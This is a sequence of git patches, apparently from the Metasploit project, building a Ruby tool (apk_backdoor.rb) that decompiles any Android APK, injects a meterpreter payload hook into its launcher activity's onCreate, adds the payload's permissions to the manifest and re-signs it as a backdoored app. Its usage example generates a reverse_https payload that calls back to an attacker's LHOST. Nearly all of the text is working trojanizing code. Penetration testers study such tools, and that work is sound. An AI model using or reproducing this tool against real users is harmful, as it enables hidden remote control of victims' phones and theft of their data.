+injected_apk+="_backdoored.apk" + +print "[*] Poisoning the manifest with meterpreter permissions..\n" +fix_manifest() + +print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n" +`apktool b -o $(pwd)/#{injected_apk} $(pwd)/original` +print "[*] Signing #{injected_apk} ..\n" +`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey` + +puts "[+] Infected file #{injected_apk} ready.\n" From 764dc0ceb4f2fe8eb39d330a8d49ee7fad726dca Mon Sep 17 00:00:00 2001 From: Jack64 Date: Sun, 6 Sep 2015 02:02:42 +0100 Subject: [PATCH 1670/2172] Several fixes - Added tempdir - Fixed msfvenom call (now calling ../msfvenom instead of msfvenom) - Removed backticks for command execution (thanks @bcook-r7) --- tools/apk_backdoor.rb | 95 +++++++++++++++++++++++++------------------ 1 file changed, 55 insertions(+), 40 deletions(-) diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb index cb2ac12298..1854e8c29e 100644 --- a/tools/apk_backdoor.rb +++ b/tools/apk_backdoor.rb @@ -5,10 +5,22 @@ # Authored by timwr, Jack64 # - +require 'tmpdir' require 'nokogiri' require 'fileutils' require 'optparse' +require 'open3' + + +def run_cmd(cmd) + begin + stdin, stdout, stderr = Open3.popen3(cmd) + return stdout.read + stderr.read + rescue Errno::ENOENT + return nil + end +end + # Find the activity that is opened when you click the app icon def find_launcher_activity(amanifest) @@ -36,9 +48,10 @@ end # If XML parsing of the manifest fails, recursively search # the smali code for the onCreate() hook and let the user # pick the injection point -def scrape_files_for_launcher_activity() + +def scrape_files_for_launcher_activity(tempdir) smali_files||=[] - Dir.glob('original/smali*/**/*.smali') do |file| + Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| checkFile=File.read(file) if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") smali_files << file @@ -72,11 +85,11 @@ def scrape_files_for_launcher_activity() return [smalifile,activitysmali] end -def fix_manifest() +def fix_manifest(tempdir) payload_permissions=[] - + #Load payload's permissions - File.open("payload/AndroidManifest.xml","r"){|file| + File.open("#{tempdir}/payload/AndroidManifest.xml","r"){|file| k=File.read(file) payload_manifest=Nokogiri::XML(k) permissions = payload_manifest.xpath("//manifest/uses-permission") @@ -84,13 +97,13 @@ def fix_manifest() name=permission.attribute("name") payload_permissions << name.to_s end - # print "#{k}" } + original_permissions=[] - apk_mani='' - + apk_mani="" + #Load original apk's permissions - File.open("original/AndroidManifest.xml","r"){|file2| + File.open("#{tempdir}/original/AndroidManifest.xml","r"){|file2| k=File.read(file2) apk_mani=k original_manifest=Nokogiri::XML(k) @@ -99,8 +112,8 @@ def fix_manifest() name=permission.attribute("name") original_permissions << name.to_s end - # print "#{k}" } + #Get permissions that are not in original APK add_permissions=[] for permission in payload_permissions @@ -109,6 +122,7 @@ def fix_manifest() add_permissions << permission end end + inject=0 new_mani="" #Inject permissions in original APK's manifest @@ -123,29 +137,29 @@ def fix_manifest() new_mani << line+"\n" end end - File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani } + File.open("#{tempdir}/original/AndroidManifest.xml", "w") {|file| file.puts new_mani } end apkfile = ARGV[0] unless(apkfile && File.readable?(apkfile)) puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443" + puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" exit(1) end -jarsigner = `which jarsigner` -unless(jarsigner && jarsigner.length > 0) +jarsigner = run_cmd("jarsigner") +unless(jarsigner != nil) puts "[-] Jarsigner not found. If it's not in your PATH, please add it.\n" exit(1) end -apktool = `which apktool` -unless(apktool && apktool.length > 0) +apktool = run_cmd("apktool") +unless(apktool != nil) puts "[-] APKTool not found. If it's not in your PATH, please add it.\n" exit(1) end -apk_v=`apktool` +apk_v = apktool unless(apk_v.split()[1].include?("v2.")) puts "[-] Apktool version #{apk_v} not supported, please download the latest 2.xx version from git.\n" exit(1) @@ -160,48 +174,45 @@ begin } rescue puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443" + puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" puts "[-] Error parsing msfvenom options. Exiting.\n" exit(1) end - +#Create temporary directory where work will be done +tempdir = Dir.mktmpdir print "[*] Generating msfvenom payload..\n" -res=`msfvenom -f raw #{opts} -o payload.apk 2>&1` +res = run_cmd("../msfvenom -f raw #{opts} -o #{tempdir}/payload.apk 2>&1") if res.downcase.include?("invalid" || "error") puts res exit(1) end -print "[*] Signing payload..\n" -`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey` +print "[*] Signing payload..\n" +run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{tempdir}/payload.apk androiddebugkey") -`rm -rf original` -`rm -rf payload` - -`cp #{apkfile} original.apk` +run_cmd("cp #{apkfile} #{tempdir}/original.apk") print "[*] Decompiling orignal APK..\n" -`apktool d $(pwd)/original.apk -o $(pwd)/original` +run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") print "[*] Decompiling payload APK..\n" -`apktool d $(pwd)/payload.apk -o $(pwd)/payload` - -f = File.open("original/AndroidManifest.xml") +run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") + +f = File.open("#{tempdir}/original/AndroidManifest.xml") amanifest = Nokogiri::XML(f) f.close print "[*] Locating onCreate() hook..\n" - launcheractivity = find_launcher_activity(amanifest) -smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali' +smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" begin activitysmali = File.read(smalifile) rescue Errno::ENOENT print "[!] Unable to find correct hook automatically\n" begin - results=scrape_files_for_launcher_activity() + results=scrape_files_for_launcher_activity(tempdir) smalifile=results[0] activitysmali=results[1] rescue @@ -211,8 +222,8 @@ rescue Errno::ENOENT end print "[*] Copying payload files..\n" -FileUtils.mkdir_p('original/smali/com/metasploit/stage/') -FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/' +FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") +FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" activitycreate = ';->onCreate(Landroid/os/Bundle;)V' payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" hookedsmali = activitysmali.gsub(activitycreate, payloadhook) @@ -222,11 +233,15 @@ injected_apk=apkfile.split(".")[0] injected_apk+="_backdoored.apk" print "[*] Poisoning the manifest with meterpreter permissions..\n" -fix_manifest() +fix_manifest(tempdir) print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n" -`apktool b -o $(pwd)/#{injected_apk} $(pwd)/original` -print "[*] Signing #{injected_apk} ..\n" -`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey` +run_cmd("apktool b -o #{tempdir}/#{injected_apk} #{tempdir}/original") +print "[*] Signing #{injected_apk} ..\n" +run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{tempdir}/#{injected_apk} androiddebugkey") + +run_cmd("cp #{tempdir}/#{injected_apk} .") +FileUtils.remove_entry tempdir puts "[+] Infected file #{injected_apk} ready.\n" + From 18e0a2f8966f9ac7032cf91300a03f01c78e8198 Mon Sep 17 00:00:00 2001 From: Jack64 Date: Sun, 6 Sep 2015 02:34:33 +0100 Subject: [PATCH 1671/2172] Update apk_backdoor.rb fixed msfvenom path resolution --- tools/apk_backdoor.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb index 1854e8c29e..f280520064 100644 --- a/tools/apk_backdoor.rb +++ b/tools/apk_backdoor.rb @@ -183,7 +183,8 @@ end tempdir = Dir.mktmpdir print "[*] Generating msfvenom payload..\n" -res = run_cmd("../msfvenom -f raw #{opts} -o #{tempdir}/payload.apk 2>&1") +msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "msfvenom")) +res = run_cmd("#{msfvenom_path} -f raw #{opts} -o #{tempdir}/payload.apk 2>&1") if res.downcase.include?("invalid" || "error") puts res exit(1) From 719b333e96fa24d92cc293abf411dd9977342e93 Mon Sep 17 00:00:00 2001 From: Tim Date: Sat, 26 Sep 2015 18:41:58 +0100 Subject: [PATCH 1672/2172] chmod +x tools/apk_backdoor.rb --- tools/apk_backdoor.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 tools/apk_backdoor.rb diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb old mode 100644 new mode 100755 From 322382060561e7eaddc7ed640c09a6f4ff05497e Mon Sep 17 00:00:00 2001 From: Tim Date: Sat, 26 Sep 2015 19:08:06 +0100 Subject: [PATCH 1673/2172] fix tools/apk_backdoor.rb output file --- tools/apk_backdoor.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb index f280520064..aa311f713b 100755 --- a/tools/apk_backdoor.rb +++ b/tools/apk_backdoor.rb @@ -230,18 +230,16 @@ payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/ hookedsmali = activitysmali.gsub(activitycreate, payloadhook) print "[*] Loading ",smalifile," and injecting payload..\n" File.open(smalifile, "w") {|file| file.puts hookedsmali } -injected_apk=apkfile.split(".")[0] -injected_apk+="_backdoored.apk" +injected_apk=apkfile.split(".")[0] + "_backdoored.apk" print "[*] Poisoning the manifest with meterpreter permissions..\n" fix_manifest(tempdir) print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n" -run_cmd("apktool b -o #{tempdir}/#{injected_apk} #{tempdir}/original") +run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") print "[*] Signing #{injected_apk} ..\n" -run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{tempdir}/#{injected_apk} androiddebugkey") +run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") -run_cmd("cp #{tempdir}/#{injected_apk} .") FileUtils.remove_entry tempdir puts "[+] Infected file #{injected_apk} ready.\n" From e5fb67f430e2138f7e4a6adc4f07bccee8c9e2cf Mon Sep 17 00:00:00 2001 From: Tim Date: Sat, 26 Sep 2015 19:15:23 +0100 Subject: [PATCH 1674/2172] fix version check > 2.0.1 --- tools/apk_backdoor.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb index aa311f713b..1e81f5e885 100755 --- a/tools/apk_backdoor.rb +++ b/tools/apk_backdoor.rb @@ -149,19 +149,19 @@ end jarsigner = run_cmd("jarsigner") unless(jarsigner != nil) - puts "[-] Jarsigner not found. If it's not in your PATH, please add it.\n" + puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" exit(1) end -apktool = run_cmd("apktool") +apktool = run_cmd("apktool -version") unless(apktool != nil) - puts "[-] APKTool not found. If it's not in your PATH, please add it.\n" + puts "[-] apktool not found. If it's not in your PATH, please add it.\n" exit(1) end -apk_v = apktool -unless(apk_v.split()[1].include?("v2.")) - puts "[-] Apktool version #{apk_v} not supported, please download the latest 2.xx version from git.\n" +apk_v = Gem::Version.new(apktool) +unless(apk_v >= Gem::Version.new('2.0.1')) + puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" exit(1) end From ab4ebe155dd6d7060bd8ff4e617338c9a46824da Mon Sep 17 00:00:00 2001 From: Tim Date: Sun, 27 Sep 2015 12:20:04 +0100 Subject: [PATCH 1675/2172] placate msftidy --- tools/apk_backdoor.rb | 290 +++++++++++++++++++++--------------------- 1 file changed, 145 insertions(+), 145 deletions(-) diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb index 1e81f5e885..18401b380d 100755 --- a/tools/apk_backdoor.rb +++ b/tools/apk_backdoor.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby # -# This script is a POC for injecting metasploit payloads on +# This script is a POC for injecting metasploit payloads on # arbitrary APKs. # Authored by timwr, Jack64 # @@ -13,36 +13,36 @@ require 'open3' def run_cmd(cmd) - begin - stdin, stdout, stderr = Open3.popen3(cmd) - return stdout.read + stderr.read - rescue Errno::ENOENT - return nil - end + begin + stdin, stdout, stderr = Open3.popen3(cmd) + return stdout.read + stderr.read + rescue Errno::ENOENT + return nil + end end # Find the activity that is opened when you click the app icon def find_launcher_activity(amanifest) - package = amanifest.xpath("//manifest").first['package'] - activities = amanifest.xpath("//activity|//activity-alias") - for activity in activities - activityname = activity.attribute("name") - category = activity.search('category') - unless category - next - end - for cat in category - categoryname = cat.attribute('name') - if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') - activityname = activityname.to_s - unless activityname.start_with?(package) - activityname = package + activityname - end - return activityname - end - end + package = amanifest.xpath("//manifest").first['package'] + activities = amanifest.xpath("//activity|//activity-alias") + for activity in activities + activityname = activity.attribute("name") + category = activity.search('category') + unless category + next end + for cat in category + categoryname = cat.attribute('name') + if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') + activityname = activityname.to_s + unless activityname.start_with?(package) + activityname = package + activityname + end + return activityname + end + end + end end # If XML parsing of the manifest fails, recursively search @@ -50,133 +50,133 @@ end # pick the injection point def scrape_files_for_launcher_activity(tempdir) - smali_files||=[] - Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| - checkFile=File.read(file) - if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") - smali_files << file - smalifile = file - activitysmali = checkFile - end - end - i=0 - print "[*] Please choose from one of the following:\n" - smali_files.each{|s_file| - print "[+] Hook point ",i,": ",s_file,"\n" - i+=1 - } - hook=-1 - while (hook < 0 || hook>i) - print "\nHook: " - hook = STDIN.gets.chomp.to_i - end - i=0 - smalifile="" - activitysmali="" - smali_files.each{|s_file| - if (i==hook) - checkFile=File.read(s_file) - smalifile=s_file - activitysmali = checkFile - break - end - i+=1 - } - return [smalifile,activitysmali] + smali_files||=[] + Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| + checkFile=File.read(file) + if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") + smali_files << file + smalifile = file + activitysmali = checkFile + end + end + i=0 + print "[*] Please choose from one of the following:\n" + smali_files.each{|s_file| + print "[+] Hook point ",i,": ",s_file,"\n" + i+=1 + } + hook=-1 + while (hook < 0 || hook>i) + print "\nHook: " + hook = STDIN.gets.chomp.to_i + end + i=0 + smalifile="" + activitysmali="" + smali_files.each{|s_file| + if (i==hook) + checkFile=File.read(s_file) + smalifile=s_file + activitysmali = checkFile + break + end + i+=1 + } + return [smalifile,activitysmali] end def fix_manifest(tempdir) - payload_permissions=[] + payload_permissions=[] - #Load payload's permissions - File.open("#{tempdir}/payload/AndroidManifest.xml","r"){|file| - k=File.read(file) - payload_manifest=Nokogiri::XML(k) - permissions = payload_manifest.xpath("//manifest/uses-permission") - for permission in permissions - name=permission.attribute("name") - payload_permissions << name.to_s - end - } + #Load payload's permissions + File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file| + k=File.read(file) + payload_manifest=Nokogiri::XML(k) + permissions = payload_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + payload_permissions << name.to_s + end + } - original_permissions=[] - apk_mani="" + original_permissions=[] + apk_mani="" - #Load original apk's permissions - File.open("#{tempdir}/original/AndroidManifest.xml","r"){|file2| - k=File.read(file2) - apk_mani=k - original_manifest=Nokogiri::XML(k) - permissions = original_manifest.xpath("//manifest/uses-permission") - for permission in permissions - name=permission.attribute("name") - original_permissions << name.to_s - end - } + #Load original apk's permissions + File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2| + k=File.read(file2) + apk_mani=k + original_manifest=Nokogiri::XML(k) + permissions = original_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + original_permissions << name.to_s + end + } - #Get permissions that are not in original APK - add_permissions=[] - for permission in payload_permissions - if !(original_permissions.include? permission) - print "[*] Adding #{permission}\n" - add_permissions << permission - end - end + #Get permissions that are not in original APK + add_permissions=[] + for permission in payload_permissions + if !(original_permissions.include? permission) + print "[*] Adding #{permission}\n" + add_permissions << permission + end + end - inject=0 - new_mani="" - #Inject permissions in original APK's manifest - for line in apk_mani.split("\n") - if (line.include? "uses-permission" and inject==0) - for permission in add_permissions - new_mani << ''+"\n" - end - new_mani << line+"\n" - inject=1 - else - new_mani << line+"\n" - end - end - File.open("#{tempdir}/original/AndroidManifest.xml", "w") {|file| file.puts new_mani } + inject=0 + new_mani="" + #Inject permissions in original APK's manifest + for line in apk_mani.split("\n") + if (line.include? "uses-permission" and inject==0) + for permission in add_permissions + new_mani << ''+"\n" + end + new_mani << line+"\n" + inject=1 + else + new_mani << line+"\n" + end + end + File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani } end apkfile = ARGV[0] -unless(apkfile && File.readable?(apkfile)) - puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" - exit(1) +unless apkfile && File.readable?(apkfile) + $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" + $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" + exit(1) end jarsigner = run_cmd("jarsigner") -unless(jarsigner != nil) - puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" - exit(1) +unless jarsigner != nil + $stderr.puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" + exit(1) end apktool = run_cmd("apktool -version") -unless(apktool != nil) - puts "[-] apktool not found. If it's not in your PATH, please add it.\n" - exit(1) +unless apktool != nil + $stderr.puts "[-] apktool not found. If it's not in your PATH, please add it.\n" + exit(1) end apk_v = Gem::Version.new(apktool) -unless(apk_v >= Gem::Version.new('2.0.1')) - puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" - exit(1) +unless apk_v >= Gem::Version.new('2.0.1') + $stderr.puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" + exit(1) end begin - msfvenom_opts = ARGV[1,ARGV.length] - opts="" - msfvenom_opts.each{|x| - opts+=x - opts+=" " - } + msfvenom_opts = ARGV[1,ARGV.length] + opts="" + msfvenom_opts.each{|x| + opts+=x + opts+=" " + } rescue - puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" - puts "[-] Error parsing msfvenom options. Exiting.\n" - exit(1) + $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" + $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" + $stderr.puts "[-] Error parsing msfvenom options. Exiting.\n" + exit(1) end #Create temporary directory where work will be done @@ -185,12 +185,12 @@ tempdir = Dir.mktmpdir print "[*] Generating msfvenom payload..\n" msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "msfvenom")) res = run_cmd("#{msfvenom_path} -f raw #{opts} -o #{tempdir}/payload.apk 2>&1") -if res.downcase.include?("invalid" || "error") - puts res - exit(1) +if res.downcase.include?("error") + $stderr.puts res + exit(1) end -print "[*] Signing payload..\n" +print "[*] Signing payload..\n" run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{tempdir}/payload.apk androiddebugkey") run_cmd("cp #{apkfile} #{tempdir}/original.apk") @@ -199,7 +199,7 @@ print "[*] Decompiling orignal APK..\n" run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") print "[*] Decompiling payload APK..\n" run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") - + f = File.open("#{tempdir}/original/AndroidManifest.xml") amanifest = Nokogiri::XML(f) f.close @@ -209,17 +209,17 @@ print "[*] Locating onCreate() hook..\n" launcheractivity = find_launcher_activity(amanifest) smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" begin - activitysmali = File.read(smalifile) + activitysmali = File.read(smalifile) rescue Errno::ENOENT - print "[!] Unable to find correct hook automatically\n" - begin - results=scrape_files_for_launcher_activity(tempdir) - smalifile=results[0] - activitysmali=results[1] - rescue - puts "[-] Error finding launcher activity. Exiting" - exit(1) - end + print "[!] Unable to find correct hook automatically\n" + begin + results=scrape_files_for_launcher_activity(tempdir) + smalifile=results[0] + activitysmali=results[1] + rescue + $stderr.puts "[-] Error finding launcher activity. Exiting" + exit(1) + end end print "[*] Copying payload files..\n" @@ -229,7 +229,7 @@ activitycreate = ';->onCreate(Landroid/os/Bundle;)V' payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" hookedsmali = activitysmali.gsub(activitycreate, payloadhook) print "[*] Loading ",smalifile," and injecting payload..\n" -File.open(smalifile, "w") {|file| file.puts hookedsmali } +File.open(smalifile, "wb") {|file| file.puts hookedsmali } injected_apk=apkfile.split(".")[0] + "_backdoored.apk" print "[*] Poisoning the manifest with meterpreter permissions..\n" @@ -237,7 +237,7 @@ fix_manifest(tempdir) print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n" run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") -print "[*] Signing #{injected_apk} ..\n" +print "[*] Signing #{injected_apk} ..\n" run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") FileUtils.remove_entry tempdir From ad0ff2ea2f9f158deafa3b03ca656b1d5b9e3cb0 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 05:21:13 +0000 Subject: [PATCH 1676/2172] move to tools/exploit --- tools/{ => exploit}/apk_backdoor.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename tools/{ => exploit}/apk_backdoor.rb (100%) diff --git a/tools/apk_backdoor.rb b/tools/exploit/apk_backdoor.rb similarity index 100% rename from tools/apk_backdoor.rb rename to tools/exploit/apk_backdoor.rb From d1ed363a94a0e93252d1e9c634d5355595935f74 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 06:10:15 +0000 Subject: [PATCH 1677/2172] clean up apk_backdoor.rb --- tools/exploit/apk_backdoor.rb | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/tools/exploit/apk_backdoor.rb b/tools/exploit/apk_backdoor.rb index 18401b380d..c0d461d6d6 100755 --- a/tools/exploit/apk_backdoor.rb +++ b/tools/exploit/apk_backdoor.rb @@ -11,6 +11,10 @@ require 'fileutils' require 'optparse' require 'open3' +def usage + $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" + $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" +end def run_cmd(cmd) begin @@ -142,8 +146,7 @@ end apkfile = ARGV[0] unless apkfile && File.readable?(apkfile) - $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" + usage exit(1) end @@ -173,9 +176,8 @@ begin opts+=" " } rescue - $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" $stderr.puts "[-] Error parsing msfvenom options. Exiting.\n" + usage exit(1) end @@ -183,7 +185,7 @@ end tempdir = Dir.mktmpdir print "[*] Generating msfvenom payload..\n" -msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "msfvenom")) +msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "msfvenom")) res = run_cmd("#{msfvenom_path} -f raw #{opts} -o #{tempdir}/payload.apk 2>&1") if res.downcase.include?("error") $stderr.puts res @@ -230,14 +232,14 @@ payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/ hookedsmali = activitysmali.gsub(activitycreate, payloadhook) print "[*] Loading ",smalifile," and injecting payload..\n" File.open(smalifile, "wb") {|file| file.puts hookedsmali } -injected_apk=apkfile.split(".")[0] + "_backdoored.apk" +injected_apk = apkfile.sub('.apk', '_backdoored.apk') print "[*] Poisoning the manifest with meterpreter permissions..\n" fix_manifest(tempdir) -print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n" +print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") -print "[*] Signing #{injected_apk} ..\n" +print "[*] Signing #{injected_apk}\n" run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") FileUtils.remove_entry tempdir From d2cc32a38942c73f03818f6fcf606c6449615bf7 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 14:37:57 +0000 Subject: [PATCH 1678/2172] integrate apk_backdoor with msfvenom --- lib/msf/core/payload_generator.rb | 11 +- tools/exploit/apk_backdoor.rb | 197 ++++++++++++++++-------------- 2 files changed, 110 insertions(+), 98 deletions(-) diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index b4c436e561..3a209a41dc 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -305,9 +305,14 @@ module Msf # @return [String] A string containing the bytes of the payload in the format selected def generate_payload if platform == "java" or arch == "java" or payload.start_with? "java/" - p = generate_java_payload - cli_print "Payload size: #{p.length} bytes" - p + raw_payload = generate_java_payload + cli_print "Payload size: #{raw_payload.length} bytes" + raw_payload + elsif payload.start_with? "android/" + cli_print "Using template: #{template}" + raw_payload = generate_raw_payload + cli_print "Payload size: #{raw_payload.length} bytes" + raw_payload else raw_payload = generate_raw_payload raw_payload = add_shellcode(raw_payload) diff --git a/tools/exploit/apk_backdoor.rb b/tools/exploit/apk_backdoor.rb index c0d461d6d6..fd6e2ca56d 100755 --- a/tools/exploit/apk_backdoor.rb +++ b/tools/exploit/apk_backdoor.rb @@ -144,105 +144,112 @@ def fix_manifest(tempdir) File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani } end -apkfile = ARGV[0] -unless apkfile && File.readable?(apkfile) - usage - exit(1) -end - -jarsigner = run_cmd("jarsigner") -unless jarsigner != nil - $stderr.puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" - exit(1) -end - -apktool = run_cmd("apktool -version") -unless apktool != nil - $stderr.puts "[-] apktool not found. If it's not in your PATH, please add it.\n" - exit(1) -end - -apk_v = Gem::Version.new(apktool) -unless apk_v >= Gem::Version.new('2.0.1') - $stderr.puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" - exit(1) -end - -begin - msfvenom_opts = ARGV[1,ARGV.length] - opts="" - msfvenom_opts.each{|x| - opts+=x - opts+=" " - } -rescue - $stderr.puts "[-] Error parsing msfvenom options. Exiting.\n" - usage - exit(1) -end - -#Create temporary directory where work will be done -tempdir = Dir.mktmpdir - -print "[*] Generating msfvenom payload..\n" -msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "msfvenom")) -res = run_cmd("#{msfvenom_path} -f raw #{opts} -o #{tempdir}/payload.apk 2>&1") -if res.downcase.include?("error") - $stderr.puts res - exit(1) -end - -print "[*] Signing payload..\n" -run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{tempdir}/payload.apk androiddebugkey") - -run_cmd("cp #{apkfile} #{tempdir}/original.apk") - -print "[*] Decompiling orignal APK..\n" -run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") -print "[*] Decompiling payload APK..\n" -run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") - -f = File.open("#{tempdir}/original/AndroidManifest.xml") -amanifest = Nokogiri::XML(f) -f.close - -print "[*] Locating onCreate() hook..\n" - -launcheractivity = find_launcher_activity(amanifest) -smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" -begin - activitysmali = File.read(smalifile) -rescue Errno::ENOENT - print "[!] Unable to find correct hook automatically\n" - begin - results=scrape_files_for_launcher_activity(tempdir) - smalifile=results[0] - activitysmali=results[1] - rescue - $stderr.puts "[-] Error finding launcher activity. Exiting" +def backdoor_payload(apkfile, raw_payload) + unless apkfile && File.readable?(apkfile) + usage exit(1) end + + jarsigner = run_cmd("jarsigner") + unless 